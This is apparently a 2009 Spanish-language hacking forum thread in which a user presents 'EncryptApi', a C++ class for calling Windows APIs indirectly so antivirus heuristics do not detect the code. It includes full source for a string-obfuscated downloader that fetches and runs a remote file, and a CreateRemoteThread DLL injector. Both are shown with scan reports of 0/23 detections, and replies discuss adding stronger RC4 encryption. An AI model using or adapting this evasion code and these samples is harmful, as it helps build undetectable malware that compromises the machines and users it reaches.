• [C++] Clase EncryptApi (Haz tus códigos FUD fácilmente)

 #75268  por E0N
 16 May 2009, 16:19
EncryptApi:

[+] ¿Qué es EncryptApi?

EncryptApi es una platilla escrita en C++ que vale para encriptar de una forma sencilla e intuitiva nuestras api's evitando la detección heurística por parte de los antivirus de nuestro código.
Su uso es tan simple como este:
Código: [ Debe registrarse para ver este enlace ]
#include "EncryptApi.hpp"

int main()
{
	EncryptApi<int> myMessageBox("MessageBoxA","User32.dll", 5);
	int retorno = myMessageBox(4, 0, "HOLA MUNDO!!", ":D", 0);
}
[+] ¿Qué es cada parámetro?

Como habréis visto el uso es bastante simple, la declaración funciona así:
Código: [ Debe registrarse para ver este enlace ]
EncryptApi<tipo_valor_de_retorno> (nombre_del_api, nombre_de_la_dll, numero_de_bytes_a_copiar);
Y gracias a la sobrecarga del operador () se puede llamar al api como se haría normalmente tan solo indicando en el primer parámetro el número total de parámetros del api.

[+] ¿Qué es número_de_bytes_a_copiar?

Esta es la única parte parte que tiene un poco de dificultad. Internamente la clase crea un buffer donde copia los bytes que le indiquemos en este parámetro he introduce un salto a la dirección del api más número_de_bytes_a_copiar.
De esta forma la clase, en vez de llamar al api, llama a este buffer, ejecutándose todo el código del api pero sin realizar una llamada directa, por lo que los antivirus ni se enteran.

¿Cómo podemos saber cuanto vale este valor? Pues muy fácil, ejecutamos el archivoDirApi.exe, que nos devolverá la dirección del api en memoria. Su código es este:
Código: [ Debe registrarse para ver este enlace ]
#include <windows.h>
#include <iostream>
using namespace std;

void main()
{
	char nombreApi[50];
	char nombreDll[50];

	cout << "Introduzca el nombre del api:   ";
	cin  >> nombreApi;
	cout << "Introduzca el nombre de la dll: ";
	cin  >> nombreDll;

	cout << "\nLa direccion del api es: " 
		 << GetProcAddress(LoadLibraryA(nombreDll), nombreApi) << endl; 

	system("pause");
}
En el caso del ejemplo la salida en mi PC es la siguiente:
Introduzca el nombre del api: MessageBoxA
Introduzca el nombre de la dll: User32.Dll

La direccion del api es: 77D504EA
Presione una tecla para continuar . . .
Así que abrimos con nuestro debugger favorito la dll en cuestión, nos vamos a esa dirección y nos fijamos en el número de bytes completos que podemos elegir, es decir, si la primera instrucción ocupa 5 bytes elegimos ese valor, en ningún caso se puede partir por la mitad una instrucción, pues el programa no funcionaría.

[+] ¿Y los resultados?

Pues voy aponer dos ejemplos típicamente detectados, un simple downloader y un inyector (usa CreateRemoteThread).

DOWNLOADER:
Código: [ Debe registrarse para ver este enlace ]
#include "EncryptApi.hpp"

void xor(char *str, const char *clave, const int tamStr, const int tamClave)
{
	for(int n=0; n<=tamStr; n++)
		str[n] ^= clave[n%tamClave];
}

int main()
{
	// Encriptacion de cadenas
	const char key[] = "df5DF4s";
	const int  tamKey = 7;

	char strURLDownloadToFileA[] = { 0x31, 0x34, 0x79, 0x0, 0x29, 0x43, 0x1d, 0x8, 0x9, 0x54, 0x20, 
							         0x12, 0x5b, 0x35, 0xd, 0xa, 0x50, 0x5, 0x46 };	
	char strUrlmon[] =             { 0x31, 0x14, 0x59, 0x29, 0x29, 0x5a, 0x5d, 0x0, 0xa, 0x59, 0x44 };
	char strShellExecuteA[] =      { 0x37, 0xe, 0x50, 0x28, 0x2a, 0x71, 0xb, 0x1, 0x5, 0x40, 0x30, 0x23, 0x75, 0x73 };
	char strShell32[] =            { 0x37, 0xe, 0x50, 0x28, 0x2a, 0x7, 0x41, 0x4a, 0x2, 0x59, 0x28, 0x46 };

	xor(strURLDownloadToFileA, key, sizeof(strURLDownloadToFileA)-1, tamKey);
	xor(strUrlmon,             key, sizeof(strUrlmon)-1,             tamKey);
	xor(strShellExecuteA,      key, sizeof(strShellExecuteA)-1,      tamKey);
	xor(strShell32,            key, sizeof(strShell32)-1,            tamKey);

	// Codigo
	EncryptApi<HRESULT>   myURLDownloadToFile(strURLDownloadToFileA, strUrlmon, 11);
	EncryptApi<HINSTANCE> myShellExecute     (strShellExecuteA, strShell32, 5);

	myURLDownloadToFile (5, 0, "http://foro.elhacker.net/Themes/converted/selogo.jpg", "C:\\imagen.jpg", 0, NULL);
	myShellExecute      (6, 0, "open", "C:\\imagen.jpg", NULL, NULL, SW_SHOW);
}
Detección:
File Info

Report generated: 16.5.2009 at 14.53.10 (GMT 1)
File size: 8 KB
MD5 Hash: 70B16F803C25C5E50A27A07F765CDB68
SHA1 Hash: 98190B3085CCFAFC91BCF4458A072728C2E0D895
Self-Extract Archive: Nothing found
Binder Detector: Nothing found
Detection rate: 0 on 23

Detections

a-squared - Nothing found!
Avira AntiVir - Nothing found!
Avast - Nothing found!
AVG - Nothing found!
BitDefender - Nothing found!
ClamAV - Nothing found!
Comodo - Nothing found!
Dr.Web - Nothing found!
Ewido - Nothing found!
F-PROT 6 - Nothing found!
IkarusT3 - Nothing found!
Kaspersky - Nothing found!
McAfee - Nothing found!
MHR (Malware Hash Registry) - Nothing found!
NOD32 v3 - Nothing found!
Norman - Nothing found!
Panda - Nothing found!
Quick Heal - Nothing found!
Solo Antivirus - Nothing found!
Sophos - Nothing found!
TrendMicro - Nothing found!
VBA32 - Nothing found!
Virus Buster - Nothing found!

Scan report generated by
[ Debe registrarse para ver este enlace ]

INYECTOR:
Código: [ Debe registrarse para ver este enlace ]
#include "EncryptApi.hpp"

void xor(char *str, const char *clave, const int tamStr, const int tamClave)
{
	for(int n=0; n<=tamStr; n++)
		str[n] ^= clave[n%tamClave];
}

int main()
{
	// Encriptacion de cadenas
	const char key[] = "df5DF4s";
	const int  tamKey = 7;

	char strCreateRemoteThread[] = { 0x27, 0x14, 0x50, 0x25, 0x32, 0x51, 0x21, 0x1, 0xb, 0x5a, 0x30, 0x23, 0x60, 0x1b,
		                             0x16, 0x3, 0x54, 0x20, 0x46 };
	char strWriteProcessMemory[] = { 0x33, 0x14, 0x5c, 0x30, 0x23, 0x64, 0x1, 0xb, 0x5, 0x50, 0x37, 0x35, 0x79, 0x16,
		                             0x9, 0x9, 0x47, 0x3d, 0x46 };
	char strVirtualAllocEx[]     = { 0x32, 0xf, 0x47, 0x30, 0x33, 0x55, 0x1f, 0x25, 0xa, 0x59, 0x2b, 0x25, 0x71, 0xb,
		                             0x64 };
	char strOpenProcess[]        = { 0x2b, 0x16, 0x50, 0x2a, 0x16, 0x46, 0x1c, 0x7, 0x3, 0x46, 0x37, 0x46 };
	char strGetModuleHandleA[]   = { 0x23, 0x3, 0x41, 0x9, 0x29, 0x50, 0x6, 0x8, 0x3, 0x7d, 0x25, 0x28, 0x50, 0x1f, 
                      		         0x1, 0x27, 0x35 };
	char strGetProcAddress[]     = { 0x23, 0x3, 0x41, 0x14, 0x34, 0x5b, 0x10, 0x25, 0x2, 0x51, 0x36, 0x23, 0x47, 0x0,
		                             0x64 };
	char strCloseHandle[]        = { 0x27, 0xa, 0x5a, 0x37, 0x23, 0x7c, 0x12, 0xa, 0x2, 0x59, 0x21, 0x46 };
	char strKernel32[]           = { 0x2f, 0x3, 0x47, 0x2a, 0x23, 0x58, 0x40, 0x56, 0x48, 0x51, 0x28, 0x2a, 0x34 };


	xor(strCreateRemoteThread, key, sizeof(strCreateRemoteThread)-1, tamKey);
	xor(strWriteProcessMemory, key, sizeof(strWriteProcessMemory)-1, tamKey);
	xor(strVirtualAllocEx, key, sizeof(strVirtualAllocEx)-1, tamKey);
	xor(strOpenProcess, key, sizeof(strOpenProcess)-1, tamKey);
	xor(strGetModuleHandleA, key, sizeof(strGetModuleHandleA)-1, tamKey);
	xor(strGetProcAddress, key, sizeof(strGetProcAddress)-1, tamKey);
	xor(strCloseHandle, key, sizeof(strCloseHandle)-1, tamKey);
	xor(strKernel32, key, sizeof(strKernel32)-1, tamKey);

	EncryptApi<HANDLE>  myOpenProcess         (strOpenProcess, strKernel32, 5);
	EncryptApi<HMODULE> myGetModuleHandle     (strGetModuleHandleA, strKernel32, 5);
	EncryptApi<FARPROC> myGetProcAddress      (strGetProcAddress, strKernel32, 5);
	EncryptApi<LPVOID>  myVirtualAllocEx      (strVirtualAllocEx, strKernel32, 7);
	EncryptApi<BOOL>    myWriteProcessMemory  (strWriteProcessMemory, strKernel32, 5);
	EncryptApi<HANDLE>  myCreateRemoteThread  (strCreateRemoteThread, strKernel32, 5);
	EncryptApi<BOOL>    myCloseHandle         (strCloseHandle, strKernel32, 5);

	// Inyeccion dll
	HANDLE proceso;
	LPVOID RemoteString;
	LPVOID nLoadLibrary;
	int pid = 1988;
	char rutaDll[] = "C:\\Dll.dll";
	
	proceso = myOpenProcess(3,PROCESS_ALL_ACCESS, false, pid); 
	nLoadLibrary = (LPVOID)myGetProcAddress(2,myGetModuleHandle(1,"kernel32.dll"),"LoadLibraryA");
	RemoteString = (LPVOID)myVirtualAllocEx(5,proceso,NULL,strlen(rutaDll),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
	myWriteProcessMemory(5,proceso,(LPVOID)RemoteString,rutaDll,strlen(rutaDll),NULL);
	myCreateRemoteThread(7,proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
	myCloseHandle(1,proceso);

	
	return 0;	
}
Detección:
File Info

Report generated: 16.5.2009 at 16.28.41 (GMT 1)
File size: 11 KB
MD5 Hash: 52CDDB1FB86FD33D2FFF238FDAB67CED
SHA1 Hash: 029C18B8FECC2522C65AB88C04D820EF32ECC091
Self-Extract Archive: Nothing found
Binder Detector: Nothing found
Detection rate: 0 on 23

Detections

a-squared - Nothing found!
Avira AntiVir - Nothing found!
Avast - Nothing found!
AVG - Nothing found!
BitDefender - Nothing found!
ClamAV - Nothing found!
Comodo - Nothing found!
Dr.Web - Nothing found!
Ewido - Nothing found!
F-PROT 6 - Nothing found!
IkarusT3 - Nothing found!
Kaspersky - Nothing found!
McAfee - Nothing found!
MHR (Malware Hash Registry) - Nothing found!
NOD32 v3 - Nothing found!
Norman - Nothing found!
Panda - Nothing found!
Quick Heal - Nothing found!
Solo Antivirus - Nothing found!
Sophos - Nothing found!
TrendMicro - Nothing found!
VBA32 - Nothing found!
Virus Buster - Nothing found!

Scan report generated by
[ Debe registrarse para ver este enlace ]
Como podéis ver de forma complementaria he usado una función para encriptar algunas cadenas, pues algún AV detectaba el ejecutable simplemente por contener esos strings sospechosos. Podéis usar cualquier encriptación, aunque un simple xor basta. He adjuntado el archivo XOR.exe que os devuelve la cadena encriptada para que la metáis en vuestro código directamente.

Todos los códigos han sido compilados con VC++ 2008 express edition.


Más información:
Código: [ Debe registrarse para ver este enlace ]
http://e0n-productions.blogspot.com/2009/05/encryptapi.html
Descarga:
Código: [ Debe registrarse para ver este enlace ]
http://e0n-productions.awardspace.com/codigos/EncryptApi.rar_
Última edición por E0N el 22 May 2009, 13:56, editado 1 vez en total.
 #75271  por E0N
 16 May 2009, 16:25
Gracias SharkI, seguro que a los programadores en C++ mi clase les resulta útil, de todas formas siempre puede adaptarse la idea a cualquier lenguaje supongo que con los mismo resultados, ahora ando probando mi clase con un crypter a ver que tal
 #75274  por shark0
 16 May 2009, 16:31
E0N escribió:Gracias SharkI, seguro que a los programadores en C++ mi clase les resulta útil, de todas formas siempre puede adaptarse la idea a cualquier lenguaje supongo que con los mismo resultados, ahora ando probando mi clase con un crypter a ver que tal
De nada, una dudilla, como podria incorporar esto en VB? seria muy interesante, igualmente pronto en verano me iniciaré con C++

Saludos!
 #75288  por E0N
 16 May 2009, 17:01
En VB sería bastante más complicado

Tendrías que ir creando un buffer con los opcodes en asm y luego ejecutarlo con CallWindowProc, el problema sería el valor de retorno, por qu eno hay plantillas...

Puedes mirar el CallApiByName de Cobein y ver como lo ha hecho y luego añadirle la técnica del buffer intermedio
[ Debe registrarse para ver este enlace ]

Salu2
 #75292  por shark0
 16 May 2009, 17:07
E0N escribió:En VB sería bastante más complicado

Tendrías que ir creando un buffer con los opcodes en asm y luego ejecutarlo con CallWindowProc, el problema sería el valor de retorno, por qu eno hay plantillas...

Puedes mirar el CallApiByName de Cobein y ver como lo ha hecho y luego añadirle la técnica del buffer intermedio
[ Debe registrarse para ver este enlace ]

Salu2
Lo miraré, gracias EON
 #75369  por Xpro
 16 May 2009, 20:49
Había visto esta información en VB, en HH , pero en C++ no sabía que existiera, la verdad que aunque no lo entiendo xD ( nosé C++ ) solo biendo los resultados y leyendo por encima , se vé que son conocimientos avanzados y bueno , que compartas información de tu buerto con nosotros, me honra amí y a la comunidad.


Gracias y un abrazo.
 #75572  por Juanse 254
 17 May 2009, 15:04
EON , me has dejado sorprendido , muchisimas gracias , no sabes cuanto me ayudara esto ....

COMO AMO TENER GENTE ASI EN EL FORO!!!!!

A pesar de eso pienso cambiarle la encriptacion xor por una RC4 y veremos que pasa :D , muchisimas gracias E0N te debo una y espero que sigan posteando estos tipos de codes de c++ :D.
 #75579  por E0N
 17 May 2009, 15:48
La encriptación es únicamente para los strings, si no lo encriptas me parece que solo lo detectaba el VBA32 (un AV famoso donde los haya xD) pero buenio, nunca está de más usar una encriptación más fuerte

Salu3